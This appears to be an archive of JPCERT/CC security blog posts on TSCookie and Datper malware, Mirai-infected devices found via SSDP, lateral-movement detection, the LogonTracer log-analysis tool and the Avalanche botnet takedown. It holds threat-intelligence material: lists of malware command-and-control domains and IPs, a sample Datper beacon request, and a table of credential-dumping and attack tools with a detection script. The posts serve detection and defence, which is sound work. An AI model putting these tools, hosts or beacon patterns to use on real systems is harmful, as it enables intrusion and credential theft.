  • 12b0f1337bda78f8a7963d2744668854d81e1f1b64790b74d486281bc54e6647
  • 201bf3cd2a723d6c728d18a9e41ff038549eac8406f453c5197a1a7b45998673
  • 5443ee54a532846da3182630e2bb031f54825025700bcd5f0e34802e7345c7b2
  • 39d7d764405b9c613dff6da4909d9bc46620beee7a7913c4666acf9e76a171e4
  • afe780ba2af6c86babf2d0270156da61f556c493259d4ca54c67665c17b02023
  • 4a8237f9ecdad3b51ffd00d769e23f61f1e791f998d1959ad9b61d53ea306c09
  • 203c924cd274d052e8e95246d31bd168f3d8a0700a774c98eff882c8b8399a2f

TSCookieRAT

  • 2bd13d63797864a70b775bd1994016f5052dc8fd1fd83ce1c13234b5d304330d
Appendix F: Destination hosts associated with TSCookie
  • 220.130.216.76
  • 60.244.52.29
  • 45.76.102.145
  • jpcerts.jpcertinfo.com
  • jpcert.ignorelist.com
  • twnicsi.ignorelist.com
  • twcertcc.jumpingcrab.com
  • okinawas.ssl443.org
  • apk36501.flnet.org
  • appinfo.fairuse.org
  • carcolors.effers.com
  • edu.microsoftmse.com
  • eoffice.etowns.org
  • epayplus.flnet.org
  • fatgirls.fatdiary.org
  • gethappy.effers.com
  • iawntsilk.dnset.com
  • inewdays.csproject.org
  • ktyguxs.dnset.com
  • lang.suroot.com
  • langlang.dnset.com
  • longdays.csproject.org
  • lookatinfo.dnset.com
  • newtowns.flnet.org
  • ntp.ukrootns1.com
  • office.dns04.com
  • savecars.dnset.com
  • splashed.effers.com
  • sslmaker.ssl443.org

Feb 20, 2018

Identify Mirai Variant Infected Devices from SSDP Response

As it has been discussed in some reports from security researchers, devices infected with Mirai and its variants are forming large-scale botnets, which are often leveraged as a platform for attacks such as DDoS and other malicious activities.

JPCERT/CC has been conducting investigation and analysis of infection activities caused by Mirai variants from 2016 and providing measures to prevent further infection both in Japan and overseas. At the end of October 2017, given the significant increase in the devices infected with Mirai and its variant, JPCERT/CC issued a security alert on 19 December. For the release of this alert, JPCERT/CC coordinated with a device vendor in identifying the infected device models. This entry introduces the approaches that we took for this investigation.

Observation results and initial investigation

In late October 2017, we confirmed through JPCERT/CC’s packet traffic monitoring system (TSUBAME) that devices infected with a Mirai variant were carrying out scans to global IP addresses, targeting Port 23/TCP and 2323/TCP. Further detailed analysis revealed some of the source IP addresses used for the scan activities. [1]

Comparing the IP addresses against the network scan results provided by local/global security organisations, it turned out that most of the affected hosts were accessible directly from the Internet through Simple Service Discovery Protocol (SSDP).

How to Identify MAC address from SSDP response

SSDP is one of the protocols used for Universal Plug and Play (UPnP), which enables searching for devices connected to the network, and Port 1900/UDP is assigned. Communication performed when searching for devices with SSDP is described in Figure 1.

Figure 1: Part of communication for searching devices using SSDP
Fig1_en

In this protocol, a client sends a query (M-SEARCH) to the network, and devices received this query returns a response (NOTIFY).

The NOTIFY response contains information about the device itself, including Universally Unique Identifier (UUID). This is a string to uniquely identify an object on the software. There are 5 versions for UUID [2], and the version 1 is based on the timestamp (when the UUID was generated) and the MAC address of the device. Figure 2 explains the data structure of the UUID version 1.

Figure 2: Structure of UUID version 1
Fig2_en

In this version, the device’s MAC address is inserted in the UUID’s last 12 digits. This means that the device itself can be identified by looking at the NOTIFY payload in response to a SSDP query. The device vendor can also be determined from the vendor ID, which lies in the first 3 octets of the MAC address.

Identify infected devices and take measures

Most of the devices that were found infected with a Mirai variant had been used with SSDP service publicly available on the Internet, and its UUID was version 1. This made us possible to identify the MAC address and consequently the vendor of the affected devices. From the MAC addresses and packet traffic observed through TSUBAME, JPCERT/CC coordinated with the vendor in question and identified the affected device models, which led to the release of the security alert together with some related organisations to raise users’ awareness.

JPCERT/CC continues to coordinate with vendors in investigation on devices and request for security measures, so that the any further infection can be prevented.

Summary

We introduced how we came to identify infected devices. If SSDP port is left publicly accessible on the Internet, it has potential risks to be used for DDoS attacks [3] and other malicious activities leveraging UPnP vulnerability [4] [5]. If you are using UPnP-equipped devices, please make sure that the security measures are properly taken such as 1) keep the firmware up-to-date, 2) not expose UPnP service on the Internet and 3) disable UPnP function if not being used.

If you have any questions, please contact global-cc[at]jpcert.or.jp.

Thanks for reading.

- Tomoaki Tani

(Translated by Yukako Uchida)

Reference

[1] JPCERT/CC Internet Threat Monitoring Report [October 1, 2017 - December 31, 2017] [JPCERT/CC]

https://www.jpcert.or.jp/english/doc/TSUBAMEReport2017Q3_en.pdf

[2] RFC 4122: A Universally Unique IDentifier (UUID) URN Namespace

https://tools.ietf.org/html/rfc4122

[3] Alert (TA14-017A) UDP-Based Amplification Attacks [US-CERT]

https://www.us-cert.gov/ncas/alerts/TA14-017A

[4] US-CERT Vulnerability Note VU#357851

UPnP requests accepted over router WAN interfaces

https://www.kb.cert.org/vuls/id/357851

[5] CVE-2014-8361 Detail [NIST]

https://nvd.nist.gov/vuln/detail/CVE-2014-8361

Dec 05, 2017

Research Report Released: Detecting Lateral Movement through Tracking Event Logs (Version 2)

In June 2017, JPCERT/CC released a report “Detecting Lateral Movement through Tracking Event Logs” on tools and commands that are likely used by attackers in lateral movement, and traces that are left on Windows OS as a result of such tool/command execution. After the release, we received a lot of feedback on the report, and until now we had been working on the revision based on the comments. Today, we are happy to announce that the updated report is released.

Detecting Lateral Movement through Tracking Event Logs (Version 2)

https://www.jpcert.or.jp/english/pub/sr/ir_research.html

Tool Analysis Result Sheet

https://jpcertcc.github.io/ToolAnalysisResultSheet/

Here is a quick summary of the update.

Updated Contents

This report is intended for incident investigation and explains what logs are recorded and what files are created upon execution of tools/commands that are often used in lateral movement. While the previous report mainly focused on investigation on event logs and registry entries, this revision also takes forensic investigation into account, as to what to examine in USN Journal, AppCompatCache and UserAssist. Other updated contents are as listed below:

  • Verification using Windows 10
  • Verification using Sysmon version 5
  • Added evidence to investigate
    • USN Journal, AppCompatCache, UserAssist etc.
  • Investigation on network communication
    • Proxy, firewall etc.
  • Added/Replaced attack tools to examine
  • Report released in HTML format

Please see Appendix A for the list of 49 tools/commands that are covered in this report.

Report Format

Unlike the previous single PDF document, this updated report consists of two parts: “Report” and “Tool Analysis Results Sheet”. The “Report” provides an overview on how the research was conducted, how this report can be used for actual investigation and things to note upon usage. “Tool Analysis Result Sheet” provides the actual detailed information that is recorded when the 49 tools/commands are executed.

We recommend that you go through the investigation instructions on the “Report”, before stepping into “Tool Analysis Result Sheet”.

Conclusion

As our understanding towards attack methods deepens, adversaries would come up with new attack techniques. We intend to cover such new attack methods in the potential revisions. If you like us to investigate any specific tool or any items on Windows, please let us know. We welcome your feedback at global-cc[at]jpcert.or.jp.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Appendix A Examined Commands and Tools
Table 1: List of Examined Commands and Tools
Attacker's Purpose of Using Tool Tool
Command execution PsExec
wmic
schtasks
wmiexec.vbs
BeginX
WinRM
WinRS
BITS
Password and hash dump PWDump7
PWDumpX
Quarks PwDump
Mimikatz
(Obtain password hash lsadump::sam)
Mimikatz
(Obtain password hash sekurlsa::logonpasswords)
Mimikatz
(Obtain ticket sekurlsa::tickets)
WCE
gsecdump
lslsass
AceHash
Find-GPOPasswords.ps1
Get-GPPPassword (PowerSploit)
Invoke-Mimikatz (PowerSploit)
Out-Minidump (PowerSploit)
PowerMemory (RWMC Tool)
WebBrowserPassView
Malicious communication relay Htran
Fake wpad
Remote logon RDP
Pass-the-hash
Pass-the-ticket
WCE (Remote login)
Mimikatz (Remote login)
Escalation to SYSTEM privilege MS14-058 Exploit
MS15-078 Exploit
SDB UAC Bypass
Capturing domain
administrator rights account
MS14-068 Exploit
Golden Ticket (Mimikatz)
Silver Ticket (Mimikatz)
Adding or deleting
local user and group
net user
File sharing net use
Deleting evidence sdelete
timestomp
klist purge
wevtutil
Information collection ntdsutil
vssadmin
csvde
ldifde
dsquery
dcdiag
nltest
nmap

Nov 30, 2017

Visualise Event Logs to Identify Compromised Accounts - LogonTracer -

Hello again, this is Shusei Tomonaga from the Analysis Center.

Event log analysis is a key element in security incident investigation. If a network is managed by Active Directory (hereafter, AD), can be identified by analysing AD event logs. For such investigation, it is quite difficult to conduct detailed analysis in AD event viewer; it is rather common to export the logs to text format or import them into SIEM/log management system. However, since the amount of event logs can be massive depending on the environment, this can be a struggle for analysts.

JPCERT/CC has developed and released a tool “LogonTracer” which supports such event log analysis. This entry introduces how it works and how to launch it.

Event Log Visualisation by LogonTracer

LogonTracer associates a host name (or an IP address) and account name found in logon-related events and displays it as a graph. This way, it is possible to see in which account login attempt occurs and which host is used. Figure 1 is a graph created by LogonTracer, which shows the relations of some IP addresses and accounts.

Figure 1: Result of AD event log visualisation on LogonTracer
Fig1

Here are the details of each node. An account (Red/Blue) that is connected to a host (Green) with a line shows that it is logged on using the host.

  • Red: SYSTEM privilege account
  • Blue: Standard user account
  • Green: Host/IP address

This visualisation makes the analysis simple even for those without detailed knowledge about event logs.

Extract More Important Accounts and Hosts

In addition to event log visualisation, LogonTracer is able to display possibly leveraged accounts/hosts by ranking. Figure 2 is an example of importance rank of accounts and hosts.

Figure 2: Ranking of accounts and hosts that have higher importance
Fig2

For this ranking, LogonTracer performs network analysis on the event log graph, and creates a ranking based on the “centrality” of each node. Centrality is an index which indicates each node’s proximity to the centre in a network. For calculation of centrality, PageRank [1] is applied. In this algorithm, nodes that have connection to many other nodes are located towards the centre of the graph and therefore have a higher centrality.

As compromised accounts are used to perform login attempts to many hosts, they tend to have a higher centrality. Consequently, by comparing the centrality, possibly affected accounts/hosts can be identified.

Chronological Display of Event Logs

With LogonTracer, it is also possible to display event logs in a chronological order. Figure 3 shows the number of event logs for each account in a time series.

Figure 3: Event logs in timeline
Fig3

By checking the number of logs in the course of time, unauthorised logon attempts during a short period of time or outside of working hours can be spotted.

Drastic increase of event logs is automatically highlighted. For detecting the increase of the count, Change Finder [2] is applied as an anomaly detection method. 

How to Install LogonTracer

This tool is available on GitHub. You can download it from the following webpage:

JPCERTCC GitHub - LogonTracer

https://github.com/JPCERTCC/LogonTracer

Here is the instruction on how to use LogonTracer. The tool was tested on a Linux environment.

  1. Obtain and install Neo4j community edition

Download Neo4j community edition from the below website and install it:

https://neo4j.com/download/other-releases/#releases

  1. Download LogonTracer

Download from the below webpage and deploy it in a folder.

https://github.com/JPCERTCC/LogonTracer

  1. Install Neo4j JavaScript driver

Install Neo4j JavaScript driver in static folder of LogonTracer.

$ cd LogonTracer/static
$ npm install neo4j-driver
  1. Install Python module

Install Python module for LogonTracer

$ pip install -r requirements.txt

*If statsmodels installation fails, install numpy first.

  1. Launch Neo4j

Launch Neo4j by GUI or command line.

How to use LogonTracer

Launch LogonTracer using the below option:

$ python3 logontracer.py -r -o [PORT] -u [USERNAME] -p [PASSWORD] -s [IP Address]
  • -r: Launch web server
  • -o: Port number where the web server operates (ex: 8080)
  • -u: Neo4j username (“neo4j” by default)
  • -p: Neo4j password
  • -s: Address where the web server operates (ex: localhost)

Below is an example of executing LogonTracer.

Command

To access the web interface, please go to the below URL from your browser. (In this environment, LogonTracer was installed in a local environment and runs on the port 8080).

http://localhost:8080/

To import logs, you can upload in EVTX format.

Figure 4: Upload event logs
Fig4

How to Use Docker Image

Docker image of LogOnTracer is available on Docker Hub.

https://hub.docker.com/r/jpcertcc/docker-logontracer/

If using Docker, the image can be launched by the following command:

$ docker run \
   --detach \
   --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \
   -e LTHOSTNAME=[IP Address] \
   jpcertcc/docker-logontracer

Event Logs that LogonTracer can Analyse and Points to Note

A research conducted by JPCERT/CC “Detecting Lateral Movement in APTs” identifies that monitoring the following events is effective in investigating unauthorised logon. Based on that, LogonTracer is also designed to visualise the following event IDs for visualization:

  • Event ID 4624: Login successful
  • Event ID 4625: Login failed
  • Event ID 4768: Kerberos authentication (TGT request)
  • Event ID 4769: Kerberos authentication (ST request)
  • Event ID 4776: NTLM authentication
  • Event ID 4672: Privilege assignment

Because not all of the above event IDs are recorded with the default settings, Audit Policy needs to be enabled to retain such logs. We recommend enabling Audit Policy. For detailed instructions on the configuration, please see “Readme” of LogonTracer, which is also available on GitHub.

Conclusion

Although event logs analysis is crucial in incident investigation, it can be a time-consuming process if you do not know what to analyse and where to begin. This tool offers easy event log analysis by visualising the relations among accounts and hosts. We hope that you try this tool in preparation to actual incident investigation.

We will update soon with more information on how to conduct actual analysis using this tool.

Thank you for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Reference

[1] Wikipedia: PageRank

https://en.wikipedia.org/wiki/PageRank

[2] IEEE: A unifying framework for detecting outliers and change points from time series

http://ieeexplore.ieee.org/document/1599387/

Aug 21, 2017

Detecting Datper Malware from Proxy Logs

This is Yu Nakamura from Analysis Center.

This entry is to explain features of Datper, malware used for targeted attacks against Japanese organisations and how to detect it from the logs.

JPCERT/CC has been observing attacks using Datper since around June 2016. Research reports on the adversary are published from LAC [1], SecureWorks [2] and Palo Alto Networks [3]. The adversary had also conducted attacks using Daserf malware in the past, and Symantec refers to them as “Tick” in their report [4].

Attack vectors

We have confirmed that Datper infection occurs by:

  • Drive-by download attacks
  • Exploiting vulnerabilities in asset management software

In the former attack vector, we observed that a vulnerability of Adobe Flash Player (CVE-2016-7892) was leveraged for downloading and executing Datper. For the latter, there were cases where devices also got infected with a downloader called “wali”. Some analysis of this downloader has been published by Kaspersky [5] and Cybereason [6]. We have seen that wali can download several types of malware, and Datper is one of them.

Detailed behaviour

Datper communicates with a C&C server using HTTP protocol and operates based on the received commands. One of the characteristics is that it only communicates within a specific period of time.

Here below is a sample HTTP request that Datper sends to a C&C server. User-Agent is hard-coded in the malware.


GET /hoge/index.php?fnyup=940785246f0c22b41joikeddfngjokyptui HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [host name]
Pragma: no-cache
Connection: close

The malware receives a command as a response to the above HTTP request, and it executes functions based on the commands. Functions that Datper can execute are the following:

  • Obtain host names, OS versions etc.
  • Obtain drive information
  • Configure communication intervals
  • Sleep for a set period of time
  • Execute a program
  • Operate on files (Obtain file lists, download, upload, delete)
  • Execute shell commands

After executing these functions, Datper sends the results to a C&C server.

How to detect Datper’s communication

Datper sends HTTP GET requests with two types of query strings as in format 1 and 2 in the following figure.

Figure 1: Query string formats
Figure1

As in the Figure 1, <a>, <b> and <c> in the query strings vary for each communication. If the fixed value which comes after <c> is “1” (as in format 1 in the Figure), it represents a request for commands, while those with “2” (format 2 in the Figure) are sent when sending command execution result to a C&C server. Command execution results are contained in the encrypted data. When the encrypted data is larger than 1024 bytes, POST method is used instead of GET.

Strings as in the above Figure is typical for Datper’s communication and barely observed during usual web browsing. Based on the characteristics, it is possible to detect Datper’s communication by checking for logs that match the format - that strings are aligned in the order of <a>=<b><c> format and <b>’s CRC32 value matches <c>. For easy verification, the following is an example of Python script for checking proxy server logs. Regular expressions need to be modified according to the log format.


import re
import sys
from binascii import crc32
from ctypes import c_uint

filter_1 = re.compile('(http://[\da-z\.-]+\.[a-z\.]{2,6}/[\/\w_\.-]+\?[\da-z]{3,8}=([\da-f]{8})([\da-f]{8})[1-2]{1}\S+)\s', re.IGNORECASE)

def main():
    for line in sys.stdin:
        m1 = filter_1.search(line)
        if m1:
            url = m1.group(1).lower()
            d1 =  m1.group(2).lower()
            d2 =  m1.group(3).lower()
        else:
            continue
        d1_crc32 = "%08x" % c_uint(crc32(d1)).value
        if d1_crc32 == d2:
            print "hit: %s" % line            
if __name__ == '__main__':
    main()

Change in compression algorithm

As mentioned above, Datper’s communication contains encrypted data. More precisely, plain text data is compressed, encrypted and then encoded. As for the compression algorithm, LZNT1 had been used, however, it was replaced with LZRW1/KH around November 2016. Below is the list of compression and encryption methods that Datper uses.

Table 1: List of compression and encryption methods
  Compression algorithm Encryption algorithm Encode algorithm
Datper (Until October 2016) LZNT1 RC4 Base64 (alternative table)
Datper (After November 2016) LZRW1/KH xor + RC4 Base64 (alternative table)

The adversary has often used LZNT1 for attacks using Datper and other types of malware (xxmm/Minzen). While LZNT1 is easy to use with a Windows API “RtlDecompressBuffer”, LZRW1/KH is not covered in Windows API. The reason for this inconvenient choice is unclear, however, this change together with the slight update in the encryption algorithm may be due to the intention of the adversary to disturb the malware analysis processes.

Conclusion

The adversary using Datper had conducted targeted attacks using Daserf malware for a long period of time against Japanese organisations. Activity with Datper is also likely to continue for a while, and we will carefully watch the malware and its attack activity.

- Yu Nakamura

(Translated by Yukako Uchida)

References

[1] CYBER GRID VIEW Vol.2 | Security Information | LAC Co. Ltd. (Japanese)

  http://www.lac.co.jp/security/report/pdf/20160802_cgview_vol2_a001t.pdf

[2] A whole picture of cyber attacks targeting Japanese companies – BRONZE BUTLER (Japanese)

https://www.secureworks.jp/%7E/media/Files/JP/Reports/SecureWorksBronzeButlerReport.ashx

[3] “Tick” Group Continues Attacks

  https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/

[4] Tick cyberespionage group zeros in on Japan

  https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan

[5] Old Malware Tricks To Bypass Detection in the Age of Big Data – Securelist

  https://securelist.com/blog/research/78010/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/

[6] ShadowWali: New variant of the xxmm family of backdoors | Cybereason

  https://www.cybereason.com/labs-blog/labs-shadowwali-new-variant-of-the-xxmm-family-of-backdoors

Appendix A SHA-256 Hash value of Datper Samples
  • Datper(LZNT1)

efa68fcbd455a72276062fb513b71547ea11fedf4db10a476cc6c9a2fa4f67f7

12d9b4ec7f8ae42c67a6fd030efb027137dbe29e63f6f669eb932d0299fbe82f

331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b

90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2

2384e8ad8eee6db1e69b3ee7b6b3d01ae09f99a86901a0a87fb2788c1115090c

7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849

  • Datper(LZRW1/KH)

7bc042b9a599e1024a668b9921e2a42a02545429cf446d5b3d21f20185afa6ce

1e511c32cdf8abe23d8ba7c39da5ce7fc6c87fdb551c9fc3265ee22ac4076e27

2f6745ccebf8e1d9e3e5284a895206bbb4347cf7daa2371652423aa9b94dfd3d

Aug 04, 2017

What the Avalanche Botnet Takedown Revealed: Banking Trojan Infection in Japan

Internet banking services across the globe have been exposed to the threat by unauthorized money transfers and suffering large-scale losses.

In this landscape, an operation led by international law enforcement agencies has been in effect since November 2016 to capture criminal groups conducting unauthorised online banking transfers and dismantle the attack infrastructure (the Avalanche botnet). JPCERT/CC is one of the many supporters of this operation.

For more information about the operation, please see below:

Europol Press Release:

‘Avalanche’ network dismantled in international cyber operation

https://www.europol.europa.eu/newsroom/news/%E2%80%98avalanche%E2%80%99-network-dismantled-in-international-cyber-operation

Interpol:

‘Avalanche’ network dismantled in international cyber operation

https://www.interpol.int/News-and-media/News/2016/N2016-160

This blog entry presents how JPCERT/CC supports this operation and the current state of malware infection in Japan revealed through our local coordination.

JPCERT/CC’s activities in the operation

Some organizations in support of this operation register domains related to the Avalanche botnet to observe communication between any infected devices and the DNS sinkhole. From all the observed data, CERT-Bund (the National CSIRT of Germany) provides information related to Japanese networks to JPCERT/CC. We then notify administrators of the infected hosts to request investigation and coordination to address the issue.

Characteristics of infected devices in Japan

Figure 1 shows the number of malware infected hosts linked to the Avalanche botnet, which were observed between 5 December 2016 and 31 May 2017. Note that extreme spikes caused by irregularities such as dates without any received data are excluded from the graph.

Figure 1: Number of malware infected hosts in Japan (per day)
Avalanche_01_en

In December 2016, when we first received data on the Avalanche botnet, there was a daily average of about 17,000 hosts communicating with the DNS sinkhole. However, it decreased to about 11,000 hosts per day at the end of May 2017, thanks to cooperation from our local partners.

In addition, multiple malware families have been observed within the Avalanche botnet. From the data, JPCERT/CC received between 5 December and 4 January, the ratio of malware observed in Japan was as follows:

Figure 2: Ratio of malware (linked to the Avalanche botnet) found in infected hosts in Japan
Avalanche_02

Rovnix, KINS, Shiotob (a.k.a. URLZone, Bebloh) are known as malware that harvest credentials for Internet banking services. We have confirmed that Rovnix and Shiotob were distributed as attachments to spam emails written in Japanese in 2016.

Conclusion

Through this operation, many infected hosts in Japan have been isolated from the botnet, which resulted in the decreasing trends as in Figure 1. However, besides the malware families hosted in the Avalanche botnet, other types of banking trojans such as Ursnif (or DreamBot) have also been distributed recently through spam emails written in Japanese. JPCERT/CC continues to alert local constituents about these threats.

- Shintaro Tanaka

(Translated by Yukako Uchida)